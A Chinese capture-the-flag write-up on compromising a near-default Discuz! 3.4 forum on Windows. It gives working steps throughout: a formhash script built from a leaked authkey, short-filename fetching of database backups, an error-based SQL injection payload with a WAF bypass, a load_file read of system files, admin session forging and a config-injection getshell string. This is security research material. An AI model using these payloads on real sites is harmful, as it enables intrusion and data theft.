热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

php空指针_空指针BaseonwindowsWriteup

原标题:空指针BaseonwindowsWriteup周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的

原标题:空指针Base on windows Writeup

周末看了一下这次空指针的第三次Web公开赛,稍微研究了下发现这是一份最新版DZ3.4几乎默认配置的环境,我们需要在这样一份几乎真实环境下的DZ中完成Get shell。这一下子提起了我的兴趣,接下来我们就一起梳理下这个渗透过程。

与默认环境的区别是,我们这次拥有两个额外的条件。

1、Web环境的后端为Windows

2、我们获得了一份config文件,里面有最重要的authkey

得到这两个条件之后,我们开始这次的渗透过程。

以下可能会多次提到的出题人写的DZ漏洞整理

这是一篇“不一样”的真实渗透测试案例分析文章authkey有什么用? / ------------------------- CONFIG SECURITY -------------------------- // $_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';

authkey是DZ安全体系里最重要的主密钥,在DZ本体中,涉及到密钥相关的,基本都是用authkey和COOKIE中的saltkey加密构造的。

当我们拥有了这个authkey之后,我们可以计算DZ本体各类操作相关的formhash(DZ所有POST相关的操作都需要计算formhash)

配合authkey,我们可以配合source/include/misc/misc_emailcheck.php中的修改注册邮箱项来修改任意用户绑定的邮箱,但管理员不能使用修改找回密码的api。

可以用下面的脚本计算formhash

$username = "ddog"; $uid = 51; $saltkey = "SuPq5mmP"; $config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E"; $authkey = md5($config_authkey.$saltkey); $formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);

当我们发现光靠authkey没办法进一步渗透的时候,我们把目标转回到hint上。

1、Web环境的后端为Windows

2、dz有正常的备份数据,备份数据里有重要的key值windows短文件名安全问题

在2019年8月,dz曾爆出过这样一个问题。

windows短文件名安全问题 数据库备份爆破

在windows环境下&#xff0c;有许多特殊的有关通配符类型的文件名展示方法&#xff0c;其中不仅仅有 <>”这类可以做通配符的符号&#xff0c;还有类似于~的省略写法。这个问题由于问题的根在服务端&#xff0c;所以cms无法修复&#xff0c;所以这也就成了一个长久的问题存在。

具体的细节可以参考下面这篇文章&#xff1a;

Windows下的”你画我猜” — 告别效率低下的目录扫描方法

配合这两篇文章&#xff0c;我们可以直接去读数据库的备份文件&#xff0c;这个备份文件存在

/data/backup_xxxxxx/200509_xxxxxx-1.sql

我们可以直接用

http://xxxxx/data/backup~1/200507~2.sql

拿到数据库文件

从数据库文件中&#xff0c;我们可以找到UC_KEY(dz)

在pre_ucenter_applications的authkey字段找到UC_KEY(dz)

至此我们得到了两个信息&#xff1a;

uckey x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5 authkey 87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E

当我们有了这两个key之后&#xff0c;我们可以直接调用uc_client的uc.php任意api。&#xff0c;后面的进一步利用也是建立在这个基础上。

uc.php api 利用

这里我们主要关注/api/uc.php

59cfb4c7f1e72c386e6ee6cc4339d2a0.png

通过UC_KEY来计算code&#xff0c;然后通过authkey计算formhash&#xff0c;我们就可以调用当前api下的任意函数&#xff0c;而在这个api下有几个比较重要的操作。

我们先把目光集中到updateapps上来&#xff0c;这个函数的特殊之处在于由于DZ直接使用preg_replace替换了UC_API&#xff0c;可以导致后台的getshell。

具体详细分析可以看&#xff0c;这个漏洞最初来自于&#64;dawu&#xff0c;我在CSS上的演讲中提到过这个后台getshell&#xff1a;

根据这里的操作&#xff0c;我们可以构造$code &#61; ‘time&#61;’.time.’&action&#61;updateapps’;

来触发updateapps&#xff0c;可以修改配置中的UC_API&#xff0c;但是在之前的某一个版本更新中&#xff0c;这里加入了条件限制。

if($post[&#39;UC_API&#39;]) { $UC_API &#61; str_replace(array(&#39;\&#39;&#39;, &#39;"&#39;, &#39;\\&#39;, "\0", "\n", "\r"), &#39;&#39;, $post[&#39;UC_API&#39;]); unset($post[&#39;UC_API&#39;]); }

由于过滤了单引号&#xff0c;导致我们注入的uc api不能闭合引号&#xff0c;所以单靠这里的api我们没办法完成getshell。

换言之&#xff0c;我们必须登录后台使用后台的修改功能&#xff0c;才能配合getshell。至此&#xff0c;我们的渗透目标改为如何进入后台。

如何进入DZ后台&#xff1f;

首先我们必须明白&#xff0c;DZ的前后台账户体系是分离的&#xff0c;包括uc api在内的多处功能&#xff0c;login都只能登录前台账户&#xff0c;

也就是说&#xff0c;进入DZ的后台的唯一办法就是必须知道DZ的后台密码&#xff0c;而这个密码是不能通过前台的忘记密码来修改的&#xff0c;所以我们需要寻找办法来修改密码。

这里主要有两种办法&#xff0c;也对应两种攻击思路&#xff1a;

1、配合报错注入的攻击链

2、使用数据库备份还原修改密码1、配合报错注入的攻击链

继续研究uc.php&#xff0c;我在renameuser中找到一个注入点。

function renameuser($get, $post) { global $_G; if(!API_RENAMEUSER) { return API_RETURN_FORBIDDEN; } $tables &#61; array( &#39;common_block&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;common_invite&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fuid&#39;, &#39;name&#39; &#61;> &#39;fusername&#39;), &#39;common_member_verify_info&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;common_mytask&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;common_report&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_thread&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;forum_activityapply&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_groupuser&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_pollvoter&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;forum_post&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;forum_postcomment&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;forum_ratelog&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_album&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_blog&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_clickuser&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_docomment&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_doing&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_feed&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_feed_app&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_friend&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fuid&#39;, &#39;name&#39; &#61;> &#39;fusername&#39;), &#39;home_friend_request&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fuid&#39;, &#39;name&#39; &#61;> &#39;fusername&#39;), &#39;home_notification&#39; &#61;> array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;), &#39;home_pic&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_poke&#39; &#61;> array(&#39;id&#39; &#61;> &#39;fromuid&#39;, &#39;name&#39; &#61;> &#39;fromusername&#39;), &#39;home_share&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_show&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_specialuser&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;home_visitor&#39; &#61;> array(&#39;id&#39; &#61;> &#39;vuid&#39;, &#39;name&#39; &#61;> &#39;vusername&#39;), &#39;portal_article_title&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;portal_comment&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;portal_topic&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), &#39;portal_topic_pic&#39; &#61;> array(&#39;id&#39; &#61;> &#39;uid&#39;, &#39;name&#39; &#61;> &#39;username&#39;), ); if(!C::t(&#39;common_member&#39;)->update($get[&#39;uid&#39;], array(&#39;username&#39; &#61;> $get[newusername])) && isset($_G[&#39;setting&#39;][&#39;membersplit&#39;])){ C::t(&#39;common_member_archive&#39;)->update($get[&#39;uid&#39;], array(&#39;username&#39; &#61;> $get[newusername])); } loadcache("posttableids"); if($_G[&#39;cache&#39;][&#39;posttableids&#39;]) { foreach($_G[&#39;cache&#39;][&#39;posttableids&#39;] AS $tableid) { $tables[getposttable($tableid)] &#61; array(&#39;id&#39; &#61;> &#39;authorid&#39;, &#39;name&#39; &#61;> &#39;author&#39;); } } foreach($tables as $table &#61;> $conf) { DB::query("UPDATE ".DB::table($table)." SET &#96;$conf[name]&#96;&#61;&#39;$get[newusername]&#39; WHERE &#96;$conf[id]&#96;&#61;&#39;$get[uid]&#39;"); } return API_RETURN_SUCCEED; }

在函数的最下面&#xff0c;$get[newusername]被直接拼接进了update语句中。

但可惜的是&#xff0c;这里链接数据库默认使用mysqli&#xff0c;并不支持堆叠注入&#xff0c;所以我们没办法直接在这里执行update语句来更新密码&#xff0c;这里我们只能构造报错注入来获取数据。

$code &#61; &#39;time&#61;&#39;.time.&#39;&action&#61;renameuser&uid&#61;1&newusername&#61;ddog\&#39;,name&#61;(\&#39;a\&#39; or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid &#61; 1 limit 1)),0)),title&#61;\&#39;a&#39;;

这里值得注意的是&#xff0c;DZ自带的注入waf挺奇怪的&#xff0c;核心逻辑在

\source\class\discuz\discuz_database.php line 375 if (strpos($sql, &#39;/&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;#&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;-- &#39;) &#61;&#61;&#61; false && strpos($sql, &#39;&#64;&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;&#96;&#39;) &#61;&#61;&#61; false && strpos($sql, &#39;"&#39;) &#61;&#61;&#61; false) { $clean &#61; preg_replace("/&#39;(.&#43;?)&#39;/s", &#39;&#39;, $sql); } else { $len &#61; strlen($sql); $mark &#61; $clean &#61; &#39;&#39;; for ($i &#61; 0; $i <$len; $i&#43;&#43;) { $str &#61; $sql[$i]; switch ($str) { case &#39;&#96;&#39;: if(!$mark) { $mark &#61; &#39;&#96;&#39;; $clean .&#61; $str; } elseif ($mark &#61;&#61; &#39;&#96;&#39;) { $mark &#61; &#39;&#39;; } break; case &#39;\&#39;&#39;: if (!$mark) { $mark &#61; &#39;\&#39;&#39;; $clean .&#61; $str; } elseif ($mark &#61;&#61; &#39;\&#39;&#39;) { $mark &#61; &#39;&#39;; } break; case &#39;/&#39;: if (empty($mark) && $sql[$i &#43; 1] &#61;&#61; &#39;*&#39;) { $mark &#61; &#39;/*&#39;; $clean .&#61; $mark; $i&#43;&#43;; } elseif ($mark &#61;&#61; &#39;/*&#39; && $sql[$i - 1] &#61;&#61; &#39;*&#39;) { $mark &#61; &#39;&#39;; $clean .&#61; &#39;*&#39;; } break; case &#39;#&#39;: if (empty($mark)) { $mark &#61; $str; $clean .&#61; $str; } break; case "\n": if ($mark &#61;&#61; &#39;#&#39; || $mark &#61;&#61; &#39;--&#39;) { $mark &#61; &#39;&#39;; } break; case &#39;-&#39;: if (empty($mark) && substr($sql, $i, 3) &#61;&#61; &#39;-- &#39;) { $mark &#61; &#39;-- &#39;; $clean .&#61; $mark; } break; default: break; } $clean .&#61; $mark ? &#39;&#39; : $str; } } if(strpos($clean, &#39;&#64;&#39;) !&#61;&#61; false) { return &#39;-3&#39;; } $clean &#61; preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]&#43;/is", "", strtolower($clean)); if (self::$config[&#39;afullnote&#39;]) { $clean &#61; str_replace(&#39;/**/&#39;, &#39;&#39;, $clean); } if (is_array(self::$config[&#39;dfunction&#39;])) { foreach (self::$config[&#39;dfunction&#39;] as $fun) { if (strpos($clean, $fun . &#39;(&#39;) !&#61;&#61; false) return &#39;-1&#39;; } } if (is_array(self::$config[&#39;daction&#39;])) { foreach (self::$config[&#39;daction&#39;] as $action) { if (strpos($clean, $action) !&#61;&#61; false) return &#39;-3&#39;; } } if (self::$config[&#39;dlikehex&#39;] && strpos($clean, &#39;like0x&#39;)) { return &#39;-2&#39;; } if (is_array(self::$config[&#39;dnote&#39;])) { foreach (self::$config[&#39;dnote&#39;] as $note) { if (strpos($clean, $note) !&#61;&#61; false) return &#39;-4&#39;; } }

然后config中相关的配置为

$_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;0&#39;] &#61; &#39;load_file&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;1&#39;] &#61; &#39;hex&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;2&#39;] &#61; &#39;substring&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;3&#39;] &#61; &#39;if&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;4&#39;] &#61; &#39;ord&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dfunction&#39;][&#39;5&#39;] &#61; &#39;char&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;0&#39;] &#61; &#39;&#64;&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;1&#39;] &#61; &#39;intooutfile&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;2&#39;] &#61; &#39;intodumpfile&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;3&#39;] &#61; &#39;unionselect&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;4&#39;] &#61; &#39;(select&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;5&#39;] &#61; &#39;unionall&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;daction&#39;][&#39;6&#39;] &#61; &#39;uniondistinct&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;0&#39;] &#61; &#39;/*&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;1&#39;] &#61; &#39;*/&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;2&#39;] &#61; &#39;#&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;3&#39;] &#61; &#39;--&#39;; $_config[&#39;security&#39;][&#39;querysafe&#39;][&#39;dnote&#39;][&#39;4&#39;] &#61; &#39;"&#39;;

这道题目特殊的地方在于&#xff0c;他开启了afullnote

if (self::$config[&#39;afullnote&#39;]) { $clean &#61; str_replace(&#39;/**/&#39;, &#39;&#39;, $clean); }

由于/**/被替换为空&#xff0c;所以我们可以直接用前面的逻辑把select加入到这中间&#xff0c;之后被替换为空&#xff0c;就可以绕过这里的判断。

当我们得到一个报错注入之后&#xff0c;我们尝试读取文件内容&#xff0c;发现由于mysql是5.5.29&#xff0c;所以我们可以直接读取服务器上的任意文件。

$code &#61; &#39;time&#61;&#39;.time.&#39;&action&#61;renameuser&uid&#61;1&newusername&#61;ddog\&#39;,name&#61;(\&#39;a\&#39; or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\&#39;c:/windows/win.ini\&#39;) limit 1)),0)),title&#61;\&#39;a&#39;;

思路走到这里出现了断层&#xff0c;因为我们没办法知道web路径在哪里&#xff0c;所以我们没办法直接读到web文件&#xff0c;这里我僵持了很久&#xff0c;最后还是因为第一个人做出题目后密码是弱密码&#xff0c;我直接查出来进了后台。

在事后回溯的过程中&#xff0c;发现还是有办法的&#xff0c;虽然说对于windows来说&#xff0c;web的路径很灵活&#xff0c;但是实际上对于集成环境来说&#xff0c;一般都安装在c盘下&#xff0c;而且一般人也不会去动服务端的路径。常见的windows集成环境主要有phpstudy和wamp&#xff0c;这两个路径分别为

- /wamp64/www/ - /phpstudy_pro/WWW/

找到相应的路径之后&#xff0c;我们可以读取\uc_server\data\config.inc.php得到uc server的UC_KEY.

之后我们可以直接调用/uc_server/api/dpbak.php中定义的

function sid_encode($username) { $ip &#61; $this->onlineip; $agent &#61; $_SERVER[&#39;HTTP_USER_AGENT&#39;]; $authkey &#61; md5($ip.$agent.UC_KEY); $check &#61; substr(md5($ip.$agent), 0, 8); return rawurlencode($this->authcode("$username\t$check", &#39;ENCODE&#39;, $authkey, 1800)); } function sid_decode($sid) { $ip &#61; $this->onlineip; $agent &#61; $_SERVER[&#39;HTTP_USER_AGENT&#39;]; $authkey &#61; md5($ip.$agent.UC_KEY); $s &#61; $this->authcode(rawurldecode($sid), &#39;DECODE&#39;, $authkey, 1800); if(empty($s)) { return FALSE; } &#64;list($username, $check) &#61; explode("\t", $s); if($check &#61;&#61; substr(md5($ip.$agent), 0, 8)) { return $username; } else { return FALSE; } }

构造管理员的sid来绕过权限验证&#xff0c;通过这种方式我们可以修改密码并登录后台。

2、使用数据库备份还原修改密码

事实上&#xff0c;当上一种攻击方式跟到uc server的UC_KEY时&#xff0c;就不难发现&#xff0c;在/uc_server/api/dbbak.php中有许多关于数据库备份与恢复的操作&#xff0c;这也是我之前没发现的点。

事实上&#xff0c;在/api/dbbak.php就有一模一样的代码和功能&#xff0c;而那个api只需要DZ的UC_KEY就可以操作&#xff0c;我们可以在前台找一个地方上传&#xff0c;然后调用备份恢复覆盖数据库文件&#xff0c;这样就可以修改管理员的密码。

后台getshell

登录了之后就比较简单了&#xff0c;首先

0f1b4c54887105acef210705b9315ce5.png

修改uc api 为

http://127.0.0.1/uc_server&#39;);phpinfo;//

然后使用预先准备poc更新uc api

98cee6fc441f6ba18008651fc133c718.png

这里返回11就可以了

847457809c3a59d30cfff81cc1d3acf5.png

写在最后

整道题目主要围绕的DZ的核心密钥安全体系&#xff0c;实际上除了在windows环境下&#xff0c;几乎没有其他的特异条件&#xff0c;再加上短文件名问题原因主要在服务端&#xff0c;我们很容易找到备份文件&#xff0c;在找到备份文件之后&#xff0c;我们可以直接从数据库获得最重要的authkey和uc key&#xff0c;接下来的渗透过程就顺理成章了。

从这篇文章中&#xff0c;你也可以窥得在不同情况下利用方式得拓展&#xff0c;配合原文阅读可以获得更多的思路。

REF

*本文作者&#xff1a;LoRexxar’&#64;知道创宇404实验室&#xff0c;转载请注明来自FreeBuf.COM返回搜狐&#xff0c;查看更多

责任编辑&#xff1a;



推荐阅读
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • 在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的步骤和方法
    本文介绍了在CentOS/RHEL 7/6,Fedora 27/26/25上安装JAVA 9的详细步骤和方法。首先需要下载最新的Java SE Development Kit 9发行版,然后按照给出的Shell命令行方式进行安装。详细的步骤和方法请参考正文内容。 ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • Nginx使用AWStats日志分析的步骤及注意事项
    本文介绍了在Centos7操作系统上使用Nginx和AWStats进行日志分析的步骤和注意事项。通过AWStats可以统计网站的访问量、IP地址、操作系统、浏览器等信息,并提供精确到每月、每日、每小时的数据。在部署AWStats之前需要确认服务器上已经安装了Perl环境,并进行DNS解析。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • 如何去除Win7快捷方式的箭头
    本文介绍了如何去除Win7快捷方式的箭头的方法,通过生成一个透明的ico图标并将其命名为Empty.ico,将图标复制到windows目录下,并导入注册表,即可去除箭头。这样做可以改善默认快捷方式的外观,提升桌面整洁度。 ... [详细]
  • 本文介绍了在mac环境下使用nginx配置nodejs代理服务器的步骤,包括安装nginx、创建目录和文件、配置代理的域名和日志记录等。 ... [详细]
  • 分享2款网站程序源码/主题等后门检测工具
    本文介绍了2款用于检测网站程序源码和主题中是否存在后门的工具,分别是WebShellkiller和D盾_Web查杀。WebShellkiller是一款支持webshell和暗链扫描的工具,采用多重检测引擎和智能检测模型,能够更精准地检测出已知和未知的后门文件。D盾_Web查杀则使用自行研发的代码分析引擎,能够分析更为隐藏的WebShell后门行为。 ... [详细]
  • 开发笔记:Java是如何读取和写入浏览器Cookies的
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Java是如何读取和写入浏览器Cookies的相关的知识,希望对你有一定的参考价值。首先我 ... [详细]
  • 本文介绍了深入浅出Linux设备驱动编程的重要性,以及两种加载和删除Linux内核模块的方法。通过一个内核模块的例子,展示了模块的编译和加载过程,并讨论了模块对内核大小的控制。深入理解Linux设备驱动编程对于开发者来说非常重要。 ... [详细]
  • 本文介绍了如何清除Eclipse中SVN用户的设置。首先需要查看使用的SVN接口,然后根据接口类型找到相应的目录并删除相关文件。最后使用SVN更新或提交来应用更改。 ... [详细]
  • Gitlab接入公司内部单点登录的安装和配置教程
    本文介绍了如何将公司内部的Gitlab系统接入单点登录服务,并提供了安装和配置的详细教程。通过使用oauth2协议,将原有的各子系统的独立登录统一迁移至单点登录。文章包括Gitlab的安装环境、版本号、编辑配置文件的步骤,并解决了在迁移过程中可能遇到的问题。 ... [详细]
  • 使用C++编写程序实现增加或删除桌面的右键列表项
    本文介绍了使用C++编写程序实现增加或删除桌面的右键列表项的方法。首先通过操作注册表来实现增加或删除右键列表项的目的,然后使用管理注册表的函数来编写程序。文章详细介绍了使用的五种函数:RegCreateKey、RegSetValueEx、RegOpenKeyEx、RegDeleteKey和RegCloseKey,并给出了增加一项的函数写法。通过本文的方法,可以方便地自定义桌面的右键列表项。 ... [详细]
author-avatar
i_Screw_Robots
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有